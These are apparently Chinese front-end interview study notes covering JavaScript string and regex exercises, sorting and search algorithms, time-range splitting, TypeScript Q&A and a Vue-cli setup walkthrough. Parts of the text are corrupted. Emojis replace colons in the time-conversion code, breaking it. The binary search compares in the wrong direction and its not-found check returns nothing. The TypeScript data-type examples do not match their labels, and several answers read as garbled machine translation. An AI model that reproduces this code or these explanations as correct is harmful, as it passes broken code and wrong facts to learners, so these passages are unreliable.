1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

# 3.42有字符串 var test='abc345efgabcab'; 请根据提示实现对应要求

  • 去掉字符串中的 a,b,c 字符 ,形成结果'345efg';

test.replace(/[abc]/g,''); // "345efg"

  • 将字符串的数字用括号括起来, 形成结果: abc[3][4][5]efg....'

test.replace(/\d/g,'[$&]'); // "abc[3][4][5]efgabcab"

// 若是有分组则按照$1, $2, $3的形式进行引用,而 $& 则表示的是整个正则表达式匹配的内容。

  • 将字符串中的每个数字的值分别乘以2,输出:'abc6810....'

var temp = test.split('').map(function(item){

return /^\d$/.test(item) ? item * 2 : item;

}).join('');

// "abc6810efgabcab"

# 3.43 使用不少于三种方式替换文本"dream"改成"package",提供字符串"I have a dream";

  • 正则替换

// 这是最简单的代码量了..

var str = "I have a dream";

str.replace(/dream/g,"package");

// 不用正则也可以直接字符串替换

str.replace("dream","package")

  • 数组遍历更改

// 很直白的大脑回路

var str = "I have a dream";

str.split(" ").map(function(item){

return item === "dream" ? item = "package":item;

}).join(" ");

  • 数组查询切割法

var str = "I have a dream";

var tempArr = str.split(" "); // ["I", "have", "a", "dream"]

var removeIndex = tempArr.indexOf('dream'); // 3

tempArr.splice(removeIndex,1,"package");

var transStr = tempArr.join(" "); // "I have a package";

这类东东弄成数组还是挺好弄的

这个是留言区小伙伴提供的方法..大同小异,如下;

// 源代码

// 字符串也有数组的 slice 以及 concat 的方法..思路和数组差不多

var str = 'I haved a dream';

str.indexOf('dream') !== -1 ? str.slice(0,str.indexOf('dream')).concat('package'):str;

# 3.44 你对基础算法这块掌握的如何....

来,这纸给你,写个快排试试...

// 快排的大体思路是这样的,

// 找个中位值,从原数组切割出来,

// 剩下的作为两个数组,每次都去比较;

// 直到递归的结果出来, 平均复杂度O(nlog n)

function quickSort(arr) {

//如果数组长度<=1,则直接返回

if (arr.length <= 1) {

return arr;

}

// 中间位(基准)取长度的一半向下取整

var pivotIndex = Math.floor(arr.length / 2);

//把中间位从原数组切割出来, splice 会改变原数组!!!!

var pivot = arr.splice(pivotIndex, 1)[0];

//定义两个空数组来存放比对后的值

var left = [];

var right = [];

//比基准小的放在left,比基准大的放在right

for (var i = 0 , j = arr.length; i < j; i++) {

if (arr[i] <= pivot) {

left.push(arr[i]);

} else {

right.push(arr[i]);

}

}

//递归下去 arr = [ left , pivot , right]

// 怎么个递归法,就是比对后的数组还是会重复之前的取基准再切开比较..直到最后没有可以切了

return quickSort(left).concat([pivot], quickSort(right));

}

Q: 写一个二分法查找

// 二分法跟快排的思路差不多,对半比较

// 这个只用于排序好数组内的查询,高低位都知道的情况下

function binSearch(target, arr, start, end) {

var start = start || 0; // 允许从什么位置开始,下标

var end = end || arr.length - 1; // 什么位置结束,下标

start >= end ? -1 : ''; // 没有找到,直接返回-1

var mid = Math.floor((start + end) / 2); // 中位下标

if (target == arr[mid]) {

return mid; // 找到直接返回下标

} else if (target > arr[mid]) {

//目标值若是大于中位值,则下标往前走一位

return binSearch(target, arr, start, mid - 1);

} else {

//若是目标值小于中位值,则下标往后退一位

return binSearch(target, arr, mid + 1, end);

}

}

// binSearch(5,[1,2,3,4,5,6,7,8]) => 4

// 无序的数组则需要先排序好数组,否则会堆栈溢出(死循环)

# 3.45思维拓展题: 你有两个玻璃球,有个100米的高楼,求玻璃球在哪个楼层扔下会碎(用的次数最少);

问题的要点: 玻璃球碎(有限个数) ,确定楼层数 , 最少次数 => 就是求最优的公式

在这道题上给秀的一脸,我的第一次的思路

先折半,就变成[1-50][51-100], 那就是 1+50 = 51次 ...

面试大佬说,你用了快排的思路就肯定不是最优的..

憋了许久,想到开平方 , 这样的话,最多只要20次

然后又说给我三个球,在1000米的高楼,判断多少次...但是根据我上面的话,

开立方, , 那最多不超过30次;

至于第一次丢球的位置如何确定, 就是开平之后的值作为一个区间.

若 N 个球和 M 米的大厦...第一次丢球的高度区间就是这个了

面试大佬说这个还可以...那就暂且告一段落

...回来用万能的搜索引擎找了下..最优方案+最少次数需要考虑的东西很多,没那么简单

# 3.46 JS时间分段

给定一个时间段和步长,枚举该时间段内步长的划分

例如:时间段3:00-5:00,步长为20分钟

那么返回的数组为

['3:00-3:20', '3:20-3:40'....]等

这类问题,一般都要先梳理好思路再来写;

  • 给定字符串时间段,切割,转换为分钟

  • 跨日及跨时问题

// 这个东东我的小伙伴也写出来了.我的是在它的解答方式上加以注释和对参数的判断做了考虑

// 他的解法方案在他的 github 上 https://github.com/lyh2668/blog/issues/1 , by lyh2668

// 方便一些小伙伴的理解,以下代码包含ES6的姿势(参数默认值,剪头函数)

let inputDateRange = (date, step = 30, separator = '-') => {

let startTime, endTime; // 开始时间和结束时间

if (Object.prototype.toString.call(date) === '[object String]') {

date = date.trim(); // 去除两边的空格

var tempDate = '';

if (separator) {

tempDate = date.split(separator);

} else {

if (date.indexOf('-') !== -1) {

tempDate = date.split('-');

} else if (date.indexOf('~')) {

tempDate = date.split('~');

} else {

console.log('您传入的也许不是一个时间段!!!');

}

}

startTime = time2min(tempDate[0]); // 传入的开始时间

endTime = time2min(tempDate[1]); //传入的结束时间

} else if (Object.prototype.toString.call(date) === '[object Array]') {

if (date.length === 2) {

startTime = time2min(date[0]); // 传入的开始时间

endTime = time2min(date[1]); //传入的结束时间

}

} else {

console.log('您传入的也许不是一个时间段!!!');

}

// 传入的 step 是否为数字,否则截图数字部分转化

// 为什么和 NaN 比较(自身不等性),若是传入的连正则都没法识别,那只能给默认值了

Object.prototype.toString.call(step) === '[object Number]'

? (step = parseInt(step, 10))

: parseInt(step.replace(/[W\s\b]/g, ''), 10) === NaN

? (step = parseInt(step.replace(/[W\s\b]/g, ''), 10))

: (step = 30);

// 若是开始时间大于结束时间则结束时间往后追加一天

startTime > endTime ? (endTime += 24 * 60) : '';

let transformDate = []; // 储存转换后的数组,时间分段

// 开始遍历判断,用 while

while (startTime < endTime) {

// 如果开始时间+步长大于结束时间,则这个分段结束,否则结束时间是步长递增

let right = startTime + step > endTime ? endTime : startTime + step;

transformDate.push(`${min2time(startTime)}-${min2time(right)}`);

startTime += step; // 步长递增

}

return transformDate;

};

// 时间转化为分钟

let time2min = time => {

// 获取切割的

time.indexOf('😂 ? (time = time.trim().split('😂) : '';

return time[0] * 60 + parseInt(time[1]); // 返回转化的分钟

};

// 分钟转会字符串时间

let min2time = minutes => {

let hour = parseInt(minutes / 60); // 返回多少小时

let minute = minutes - hour * 60; // 扣除小时后剩余的分钟数

hour >= 24 ? (hour = hour - 24) : ''; // 若是大于等于24小时需要扣除一天得到所剩下的小时

minute < 10 ? (minute = '0' + minute) : ''; // 小于10的都要补零

hour < 10 ? (hour = '0' + hour) : ''; // 小于10的都要补零

return `${hour}😒{minute}`;

};

// test ,支持字符串传入时间段

inputDateRange('3:00-5:00','20d'); // ["03:00-03:20", "03:20-03:40", "03:40-04:00", "04:00-04:20", "04:20-04:40", "04:40-05:00"]

// 亦或者数组传入

inputDateRange(['3:00','5:00'],'45df.3d'); // ["03:00-03:45", "03:45-04:30", "04:30-05:00"]

// step 支持数字亦或者带特殊字符的数字

inputDateRange(['6:00','8:00'],'55df.3d'); // ["06:00-06:55", "06:55-07:50", "07:50-08:00"]

inputDateRange('3:00-5:00',60); // ["03:00-04:00", "04:00-05:00"]

# 3.46 你对优化这块了解多少?

大体常见的手段了解.

比如从客户端着手的:

  • 压缩代码(JS/CSS),压缩图片

  • 合并一些小图片(css sprite)

  • 若是打包的代码尽可能切割成多个 chunk,减少单一 chunk过大

  • 静态文件采用 cdn 引入

  • HTTP的缓存头使用的合理

  • 减小第三方库的依赖

  • 对于代码应该考虑性能来编写,比如使用requestAnimationFrame绘制动画,尽可能减少页面重绘(DOM 改变)

  • 渐进升级,引入preload这些预加载资源

  • 看情况用service worker来缓存资源(比如移动端打算搞 PWA)

比如从服务端着手:

  • 带宽,域名解析, 多域名解析等

  • 页面做服务端渲染,减小对浏览器的依赖(不用客户端解析)

  • 渐进升级,比如引入 HTTP2(多路复用,头部压缩这些可以明显加快加载速度)

当然,这是这些都是很片面的点到...实际工作中去开展要复杂的多;

比如我们要多个维度去考虑的话,要去优化 DOM 的绘制时间,资源的加载时间,域名解析这些;

要全面的优化一个项目是一个大工程...

# 3.47求100~999的所有"水仙花"数, 就是三位数中各数字的立方和等于自身,比如153=1^3+5^3+3^3

  • 常规遍历法

function threeWaterFlower(rangeStart, rangeEnd) {

var temp = [];

rangeStart = rangeStart || 100;

rangeEnd = rangeEnd || 999;

for (var i = rangeStart; i <= rangeEnd; i++) {

var t = i.toString().split('');

Math.pow(t[0], 3) + Math.pow(t[1], 3) + Math.pow(t[2], 3) == i

? temp.push(i)

: '';

}

return temp;

}

threeWaterFlower(100,999); // [153, 370, 371, 407]

threeWaterFlower(); // [153, 370, 371, 407]

  • 拓展写法,ES6版+不定花数,不折腾不舒服版本

let manyWaterFlower = (rangeStart = 100, rangeEnd = 999, flower = 3) => {

let temp = [];

for (let i = rangeStart; i <= rangeEnd; i++) {

let t = i

.toString()

.split('')

.map(item => Math.pow(item, flower))

.reduce((cur,next)=> parseInt(cur)+parseInt(next));

let transformT = parseInt(t, 10);

transformT == i ? temp.push(i) : '';

}

return temp;

}

manyWaterFlower(); // [153, 370, 371, 407]

manyWaterFlower(100,10000,4); // [1634, 8208, 9474]

manyWaterFlower(100,10000,5); // [4150, 4151]

这种是穷举遍历,若是要快一点呢(考虑的周全一点呢),以及传参范围的矫正

相信小伙伴都看得懂,我已经尽量注释了..

let manyWaterFlower = (flower = 3,rangeStart, rangeEnd ) => {

let temp = [];// 缓存所有找到的花值

// 这一段就是填充开始循环的范围,处理完毕后转为数字,推荐的开始值

let flowerRecommandStart = Number(

''.padStart(flower, '0').replace(/^(\d{1})/g, '1')

);

let flowerRecommandEnd = Number(''.padStart(flower, '9'));

// 判断是否传入开始值

if (rangeStart) {

rangeStart > flowerRecommandStart

? (rangeStart = flowerRecommandStart)

: rangeStart;

} else {

rangeStart = flowerRecommandStart;

}

// 判断是否有传入结束值

if (rangeEnd) {

rangeEnd > flowerRecommandEnd ? (rangeEnd = flowerRecommandEnd) : rangeEnd;

} else {

rangeEnd = flowerRecommandEnd;

}

// 若是初始值大于结束值

if (rangeStart > rangeEnd) {

rangeEnd = flowerRecommandEnd;

}

for (let i = rangeStart; i <= rangeEnd; i++) {

let t = i

.toString()

.split('')

.map(item => Math.pow(item, flower))

.reduce((cur, next) => parseInt(cur) + parseInt(next));

let transformT = parseInt(t, 10);

transformT == i ? temp.push(i) : '';

}

return temp;

};

console.time('manyWaterFlower');

manyWaterFlower(4)

console.timeEnd('manyWaterFlower');

// VM34013:4 manyWaterFlower: 8.112060546875ms ,这个是跑出来的时间

用上个例子的代码,从100到9999的,我们跑一下看看

console.time('manyWaterFlower');

manyWaterFlower(100,9999,4)

console.timeEnd('manyWaterFlower');

// VM3135:4 manyWaterFlower: 10.51904296875ms

// 我的 MBP 跑10花直接卡死...跑7花有点久...

console.time('7 flower')

manyWaterFlower(7);

console.timeEnd('7 flower')

// 7 flower: 6489.608154296875ms

// 8 花 CPU 的风扇狂叫....

console.time('8 flower')

manyWaterFlower(8);

console.timeEnd('8 flower')

// VM644:3 8 flower: 68010.26489257812ms

// 对了我们还没有考虑数值溢出的问题..因为正整数在 JS 的范围是有限的.

// 有兴趣的小伙伴可以自行完善

# 3.48 请使用递归算法在 TODO 注释后实现通过节点 key 数组寻找 json 对象中的对应值

比如console.log(findNode(['a1', 'b2'], data)) === data.a1.b2

// 请使用递归算法在 TODO 注释后实现通过节点 key 数组寻找 json 对象中的对应值

var data = {

a1: {

b1: 1,

b2: 2,

b3: {

b4: 5

}

},

a2: {

b1: 3,

b2: 4

}

};

function findNode(inPath, inData) {

// TODO

// 判断传入的是否是一个数组

if (Array.isArray(inPath)) {

// 当长度为1的时候寻找该 key 是否有值,有则返回,无则返回-1

if (inPath.length === 1) {

return inData[inPath[0]] ? inData[inPath[0]]: -1;

}else{

return findNode(inPath.slice(1), inData[inPath[0]]);

}

} else{

console.log('您传入的不是一个数组')

}

}

console.log(findNode(['a1', 'b2'], data)); // 2

console.log(findNode(['a1', 'b3','b4'], data)); // 5

来个拓展版?支持字符串或数组传入;findNode('a1.b2',data)?

var data = {

a1: {

b1: 1,

b2: 2,

b3: {

b4: 5

}

},

a2: {

b1: 3,

b2: 4

}

};

// 判断格式

function isType(params) {

let type = Object.prototype.toString.call(params);

if (type === '[object String]') {

params = params.split('.');

return params;

}

if (type === '[object Array]') {

return params;

}

}

function findNode(inPath, inData) {

inPath = isType(inPath);

// 判断传入的是否是一个数组

if (Array.isArray(inPath)) {

// 当长度为1的时候寻找该 key 是否有值,有则返回,无则返回-1

if (inPath.length === 1) {

return inData[inPath[0]] ? inData[inPath[0]]: -1;

}else{

return findNode(inPath.slice(1), inData[inPath[0]]);

}

} else {

console.log('您传入的不是一个数组');

}

}

console.log(findNode(['a1', 'b2'], data)); // 2

console.log(findNode('a1.b3.b4', data)); // 5

# 3.49 从你输入一个 URL 到页面渲染的大体过程...

大体过程是这样的,想了解很细致的可以自行引擎;

  1. IP->DNS(浏览器=>系统缓存=>DNS 服务器)->域名解析完成(这一步不用太多解析吧)

  2. TCP 协议走完->HTTP(S) 协议->缓存->(分析请求头)-> 回馈报文

  3. 请求文档下来->DOM->CSSDOM->静态资源下载->render(绘制文档)->js 解析

  4. 用户看到页面

# 3.50 数组排序:

{width="5.763888888888889in" height="4.820833333333334in"}

# 3.51 数组去重:

第一种:利用ES6的set来实现 例如:[...new Set(arr)]

第二种:借用临时对象的方式

{width="5.0993055555555555in" height="3.0118055555555556in"}

# 3.52 地址栏解析成对象:

{width="5.240972222222222in" height="3.8520833333333333in"}

四、对象深拷贝,浅拷贝的解理:

答:对象浅拷贝可以理解为改变一个对象属性值,另一个对象属性也会发生改变,即互相影响,

对象深拷贝即就是说改变一个对象属性,另一个对象属性值不会发生改变,可以通过多种方法来实现对象深拷贝,

第一种方法:通过JSON.stringify和JSON.parse来实现

var obj={name:'全栈1902A'}

var obj2=JSON.parse(JSON.stringify(obj))
1
2
3

第二种方法:通过递归来实现

{width="5.763888888888889in" height="5.504861111111111in"}

同学们可以参照以下代码,看下函数兼容性处理,以及封装

*var* EventUtil={

[addHandler](https://www.cnblogs.com/hykun/p/EventUtil.html#addHandler):*function*(*element*,*type*,*handler*){ //添加事件

if(element.addEventListener){

element.addEventListener(type,handler,false); //使用DOM2级方法添加事件

}else if(element.attachEvent){ //使用IE方法添加事件

element.attachEvent(\"on\"+type,handler);

}else{

element\[\"on\"+type\]=handler; //使用DOM0级方法添加事件

}

},

[removeHandler](https://www.cnblogs.com/hykun/p/EventUtil.html#removeHandler):*function*(*element*,*type*,*handler*){ //取消事件

if(element.removeEventListener){

element.removeEventListener(type,handler,false);

}else if(element.detachEvent){

element.detachEvent(\"on\"+type,handler);

}else{

element\[\"on\"+type\]=null;

}

},

[getEvent](https://www.cnblogs.com/hykun/p/EventUtil.html#getEvent):*function*(*event*){ //使用这个方法跨浏览器取得event对象

return *event*?*event*:*window*.*event*;

},

[getTarget](https://www.cnblogs.com/hykun/p/EventUtil.html#getTarget):*function*(*event*){ //返回事件的实际目标

return *event*.target\|\|*event*.srcElement;

},

[preventDefault](https://www.cnblogs.com/hykun/p/EventUtil.html#preventDefault):*function*(*event*){ //阻止事件的默认行为

if(*event*.preventDefault){

*event*.preventDefault();

}else{

*event*.returnValue=false;

}

},

[stopPropagation](https://www.cnblogs.com/hykun/p/EventUtil.html#stopPropagation):*function*(*event*){ //立即停止事件在DOM中的传播

//避免触发注册在document.body上面的事件处理程序

if(*event*.stopPropagation){

*event*.stopPropagation();

}else{

*event*.cancelBubble=true;

}

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81

# 第4章 TypeScript

# 4.1 TypeScript 的主要特点是什么?

  • 跨平台:TypeScript 编译器可以安装在任何操作系统上,包括 Windows、macOS 和 Linux。

  • ES6 特性:TypeScript 包含计划中的 ECMAScript 2015 (ES6) 的大部分特性,例如箭头函数。

  • 面向对象的语言:TypeScript 提供所有标准的 OOP 功能,如类、接口和模块。

  • 静态类型检查:TypeScript 使用静态类型并帮助在编译时进行类型检查。因此,你可以在编写代码时发现编译时错误,而无需运行脚本。

  • 可选的静态类型:如果你习惯了 JavaScript 的动态类型,TypeScript 还允许可选的静态类型。

  • DOM 操作:您可以使用 TypeScript 来操作 DOM 以添加或删除客户端网页元素。

# 4.2使用 TypeScript 有什么好处?

  • TypeScript 更具表现力,这意味着它的语法混乱更少。

  • 由于高级调试器专注于在编译时之前捕获逻辑错误,因此调试很容易。

  • 静态类型使 TypeScript 比 JavaScript 的动态类型更易于阅读和结构化。

  • 由于通用的转译,它可以跨平台使用,在客户端和服务器端项目中。

# 4.3 TypeScript 的内置数据类型有哪些?

数字类型:用于表示数字类型的值。TypeScript 中的所有数字都存储为浮点值。

let identifier: number = value;
1

布尔类型:一个逻辑二进制开关,包含true或false

let identifier: string = \" \";
1

Null 类型:Null 表示值未定义的变量。

let identifier: bool = Boolean value;
1

未定义类型:一个未定义的字面量,它是所有变量的起点。

let num: number = null;

void 类型:分配给没有返回值的方法的类型。

let unusable: void = undefined;
1
2
3
4
5

# 4.4 TypeScript 目前的稳定版本是什么?

当前最新版本为TypeScript 4.7(截止到2022年7月)

# 4.5 TypeScript 中的接口是什么?

接口为使用该接口的对象定义契约或结构。接口是用关键字定义的interface,它可以包含使用函数或箭头函数的属性和方法声明。

interface IEmployee {

empCode: number;

empName: string;

getSalary: (number) => number; // arrow function

getManagerName(number): string;

}
1
2
3
4
5
6
7
8
9
10
11

# 4.6 TypeScript 中的模块是什么?

module module_name{

class xyz{

export sum(x, y){

return x+y;

}

}
1
2
3
4
5
6
7
8
9
10
11

# 4.7 后端如何使用TypeScript?

你可以将 Node.js 与 TypeScript 结合使用,将 TypeScript 的优势带入后端工作。只需输入以下命令,即可将 TypeScript 编译器安装到你的 Node.js 中:

npm i -g typescript

# 4.8 TypeScript 中的类型断言是什么?

TypeScript 中的类型断言的工作方式类似于其他语言中的类型转换,但没有 C# 和 Java 等语言中可能的类型检查或数据重组。类型断言对运行时没有影响,仅由编译器使用。类型断言本质上是类型转换的软版本,它建议编译器将变量视为某种类型,但如果它处于不同的形式,则不会强制它进入该模型。

# 4.9 如何在 TypeScript 中创建变量?

你可以通过三种方式创建变量:var,let,和const。var是严格范围变量的旧风格。你应该尽可能避免使用,var因为它会在较大的项目中导致问题。

var num:number = 1;
1

let是在 TypeScript 中声明变量的默认方式。与var相比,let减少了编译时错误的数量并提高了代码的可读性。

let num:number = 1;
1

const创建一个其值不能改变的常量变量。它使用相同的范围规则,let并有助于降低整体程序的复杂性。

const num:number = 100;
1

# 4.10 在TypeScript中如何从子类调用基类构造函数?

class Animal {

name: string;

constructor(theName: string) {

this.name = theName;

}

move(distanceInMeters: number = 0) {

console.log(\`\${this.name} moved \${distanceInMeters}m.\`);}

}

class Snake extends Animal {

constructor(name: string) {

super(name);

}

move(distanceInMeters = 5) {

console.log(\"Slithering\...\");

super.move(distanceInMeters);

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

# 4.11 解释如何使用 TypeScript mixin。

Mixin 本质上是在相反方向上工作的继承。Mixins 允许你通过组合以前类中更简单的部分类设置来构建新类。相反,类A继承类B来获得它的功能,类B从类A需要返回一个新类的附加功能。

# 4.12 TypeScript 中如何检查 null 和 undefined?

你可以使用 juggle-check,它检查 null 和 undefined,或者使用 strict-check,它返回true设置为null的值,并且不会评估true未定义的变量。

//juggle

if (x == null) {

}

var a: number;

var b: number = null;

function check(x, name) {

if (x == null) {

console.log(name + \' == null\');

}

if (x === null) {

console.log(name + \' === null\');

}

if (typeof x === \'undefined\') {

console.log(name + \' is undefined\');

}

}

check(a, \'a\');

check(b, \'b\');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# 4.13 TypeScript 中的 getter/setter 是什么?你如何使用它们?

Getter 和 setter 是特殊类型的方法,可帮助你根据程序的需要委派对私有变量的不同级别的访问。Getters 允许你引用一个值但不能编辑它。Setter 允许你更改变量的值,但不能查看其当前值。这些对于实现封装是必不可少的。例如,新雇主可能能够了解get公司的员工人数,但无权set了解员工人数。

const fullNameMaxLength = 10;

class Employee {

private \_fullName: string = \"\";

get fullName(): string {

return this.\_fullName;

}

set fullName(newName: string) {

if (newName && newName.length \> fullNameMaxLength) {

throw new Error(\"fullName has a max length of \" + fullNameMaxLength);

}

this.\_fullName = newName;

}

}

let employee = new Employee();

employee.fullName = \"Bob Smith\";

if (employee.fullName) {

console.log(employee.fullName);

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# 4.14 如何允许模块外定义的类可以访问?

你可以使用export关键字打开模块以供在模块外使用。

module Admin {

// 在TypeScript中使用export关键字来访问外部的类

export class Employee {

constructor(name: string, email: string) { }

}

let alex = new Employee(\'alex\', \'alex\@gmail.com\');

}

// Admin变量将允许你在TypeScript中的export关键字的帮助下访问模块外的Employee类

let nick = new Admin.Employee(\'nick\', \'nick\@yahoo.com\');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 4.15 如何使用 Typescript 将字符串转换为数字?

与 JavaScript 类似,你可以使用parseInt或parseFloat函数分别将字符串转换为整数或浮点数。你还可以使用一元运算符+将字符串转换为最合适的数字类型,"3"成为整数,3而"3.14"成为浮点数3.14。

var x = \"32\";

var y: number = +x;
1
2
3

# 4.16 什么是 .map 文件,为什么/如何使用它?

甲.map文件是源地图,显示原始打字稿代码是如何解释成可用的JavaScript代码。它们有助于简化调试,因为你可以捕获任何奇怪的编译器行为。调试工具还可以使用这些文件来允许你编辑底层的 TypeScript 而不是发出的 JavaScript 文件。

# 4.17 TypeScript 中的类是什么?你如何定义它们?

类表示一组相关对象的共享行为和属性。例如,我们的类可能是Student,其所有对象都具有该attendClass方法。另一方面,John是一个单独的 type 实例,Student可能有额外的独特行为,比如attendExtracurricular.你使用关键字声明类class:

class Student {

studCode: number;

studName: string;

constructor(code: number, name: string) {

this.studName = name;

this.studCode = code;

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 4.18 TypeScript 与 JavaScript 有什么关系?

TypeScript 是 JavaScript 的开源语法超集,可编译为 JavaScript。所有原始 JavaScript 库和语法仍然有效,但 TypeScript 增加了 JavaScript 中没有的额外语法选项和编译器功能。TypeScript 还可以与大多数与 JavaScript 相同的技术接口,例如 Angular 和 jQuery。

# 4.19 TypeScript 中的 JSX 是什么?

JSX 是一种可嵌入的类似于 XML 的语法,允许你创建 HTML。TypeScript 支持嵌入、类型检查和将 JSX 直接编译为 JavaScript。

# 4.20 TypeScript 支持哪些 JSX 模式?

TypeScript有内置的支持preserve,react和react-native。

  • preserve 保持 JSX 完整以用于后续转换。

  • react不经过 JSX 转换,而是react.createElement作为.js文件扩展名发出和输出。

  • react-native结合起来preserve,react因为它维护所有 JSX 和输出作为.js扩展。

# 4.21 如何编译 TypeScript 文件?

你需要调用 TypeScript 编译器tsc来编译文件。你需要安装 TypeScript 编译器,你可以使用npm.

npm install -g typescript

tsc <TypeScript File Name>

# 4.22 TypeScript 中有哪些范围可用?这与JS相比如何?

  • 全局作用域:在任何类之外定义,可以在程序中的任何地方使用。

  • 函数/类范围:在函数或类中定义的变量可以在该范围内的任何地方使用。

  • 局部作用域/代码块:在局部作用域中定义的变量可以在该块中的任何地方使用。

# 4.23 TypeScript 中的箭头/lambda 函数是什么?

胖箭头函数是用于定义匿名函数的函数表达式的速记语法。它类似于其他语言中的 lambda 函数。箭头函数可让你跳过function关键字并编写更简洁的代码。

# 4.24 解释rest参数和声明rest参数的规则。

其余参数允许你将不同数量的参数(零个或多个)传递给函数。当你不确定函数将接收多少参数时,这很有用。其余符号之后的所有参数...都将存储在一个数组中。例如:

function Greet(greeting: string, \...names: string\[\]) {

return greeting + \" \" + names.join(\", \") + \"!\";

}

Greet(\"Hello\", \"Steve\", \"Bill\"); // returns \"Hello Steve, Bill!\"

Greet(\"Hello\");// returns \"Hello !\"

rest 参数必须是参数定义的最后一个,并且每个函数只能有一个 rest 参数。
1
2
3
4
5
6
7
8
9
10
11

# 4.25 什么是三斜线指令?有哪些三斜杠指令?

三斜线指令是单行注释,包含用作编译器指令的 XML 标记。每个指令都表示在编译过程中要加载的内容。三斜杠指令仅在其文件的顶部工作,并且将被视为文件中其他任何地方的普通注释。

-   /// \<reference path=\"\...\" /> 是最常见的指令,定义文件之间的依赖关系。

-   /// \<reference types=\"\...\" />类似于path但定义了包的依赖项。

-   /// \<reference lib=\"\...\" />允许您显式包含内置lib文件。
1
2
3
4
5

# 4.26 Omit类型有什么作用?

Omit是实用程序类型的一种形式,它促进了常见的类型转换。Omit允许你通过传递电流Type并选择Keys在新类型中省略来构造类型。

Omit<Type, Keys>

例如:

interface Todo {

title: string;

description: string;

completed: boolean;

createdAt: number;

}

type TodoPreview = Omit\<Todo, \"description\"\>;
1
2
3
4
5
6
7
8
9
10
11
12
13

# 4.27 TypeScript中如何实现函数重载?

要在 TypeScript 中重载函数,只需创建两个名称相同但参数/返回类型不同的函数。两个函数必须接受相同数量的参数。这是 TypeScript 中多态性的重要组成部分。例如,你可以创建一个add函数,如果它们是数字,则将两个参数相加,如果它们是字符串,则将它们连接起来。

function add(a:string, b:string):string;

function add(a:number, b:number): number;

function add(a: any, b:any): any {

return a + b;

}

add(\"Hello \", \"Steve\"); // returns \"Hello Steve\"

add(10, 20); // returns 30
1
2
3
4
5
6
7
8
9
10
11
12
13

# 4.28 如何让接口的所有属性都可选?

你可以使用partial映射类型轻松地将所有属性设为可选。

# 4.29 什么时候应该使用关键字unknown?

unknown,如果你不知道预先期望哪种类型,但想稍后分配它,则应该使用该any关键字,并且该关键字将不起作用。

# 4.30 什么是装饰器,它们可以应用于什么?

装饰器是一种特殊的声明,它允许你通过使用@<name>注释标记来一次性修改类或类成员。每个装饰器都必须引用一个将在运行时评估的函数。例如,装饰器@sealed将对应于sealed函数。任何标有 的@sealed都将用于评估sealed函数。

function sealed(target) {

// do something with \'target\' \...

}
1
2
3
4
5

它们可以附加到:

  • 类声明

  • 方法

  • 配件

  • 特性

  • 参数

注意:默认情况下不启用装饰器。要启用它们,你必须experimentalDecorators从tsconfig.json文件或命令行编辑编译器选项中的字段。

# Vue.js

# Vue2.0

# 5.1 Vue脚手架工具Vue-cli

# 5.1.1 什么是Vue脚手架

上节内容中我们知道打包工具Webpack能够帮助我们优化项目,我们在使用Webpack打包项目的时候依赖的是Webpack中各种各样的插件(Plugins)和加载器(Loaders),比如说加载单文件组件(后缀为.vue的文件)的加载器是vue-loader,处理scss文件的加载器是sass-loader,处理高级ES语法的加载器是babel-loader等等,流程是:需要什么插件或者加载器就使用npm工具安装他们,再在Webpack 的配置文件中进行配置。具体的使用方式我们将在Webpack课程中详细讲解。

那么什么是Vue脚手架呢,它是一个专门为单页面应用快速搭建繁杂的脚手架,它可以轻松的创建新的应用程序而且可用于自动生成vue和webpack的项目模板。

当我们需要搭建一个项目环境的时候,我们可能需要下载很多的插件和加载器用来处理我们的代码,这些插件和加载器如果我们一一去添加就会比较麻烦,Vue官方提供的Vue脚手架(Vue-cli),可以快速搭建vue项目,使用它能快速的构建一个web工程模板,这个模板里会自动的帮我们下载和配置好项目需要的插件和加载器。

# 5.1.2 如何使用Vue-cli创建项目

# 1.安装node

Vue-cli脚手架也是基于Node环境的,在使用脚手架之前我们要先确保电脑上已经安装Node环境。我们要使用Node下载和安装 vue-cli

下载地址:https://nodejs.org (opens new window)

将下载下来的 msi 文件运行安装即可。

{width="5.7659722222222225in" height="4.527777777777778in"}

在命令提示符(cmd)中运行 node -v,如果出现版本号则说明 Node.js 安装成功

{width="5.733333333333333in" height="2.7368055555555557in"}

# 安装Vue-cli

使用NPM全局安装Vue-cli,安装命令为:npm install -g @vue/cli

注:NPM为Node自带的包管理工具,用来下载项目所需的各种依赖。

{width="5.759027777777778in" height="1.6493055555555556in"}

查看Vue-cli版本:vue -V(注意是大写的V)

{width="5.766666666666667in" height="2.8222222222222224in"}

我们使用的脚手架版本是4.x的版本,4.x版本和3.x版本的用法基本一致。

# 打开终端

假设我们要在桌面上名字为vue的文件夹中使用脚手架创建vue项目

可以有以下几种方式打开终端

  1. 进入vue文件夹,在文件夹目录下输入cmd

{width="5.767361111111111in" height="2.6993055555555556in"}

{width="5.761805555555555in" height="2.6527777777777777in"}

按回车键就可以在该文件位置下打开终端。

(2)在VSCode中打开vue文件夹并新建终端

{width="5.757638888888889in" height="2.2270833333333333in"}

{width="5.7555555555555555in" height="2.404861111111111in"}

(3)如果安装的有git的话也可在vue文件夹中右键,然后点击Git Bush Here打开终端

{width="5.761805555555555in" height="6.045833333333333in"}

以上三种方式打开的终端都在vue文件夹目录下。

# 4. 创建vue项目

在终端中输入 vue create project-name,按enter键

{width="5.763888888888889in" height="4.121527777777778in"}

当我们执行vue create demo命令时,在终端中会提示我们选择项目的预置,我们可以通过上下按键选择,第一个选择是default默认设置,里面包含了babel和eslint,第二个选择是手动选择设置特性,我们选择第二个手动选择配置。

# 选择项目的预置

上图中我们选择了手动配置项目所需依赖,接下来终端会提示我们去进行手动选择:

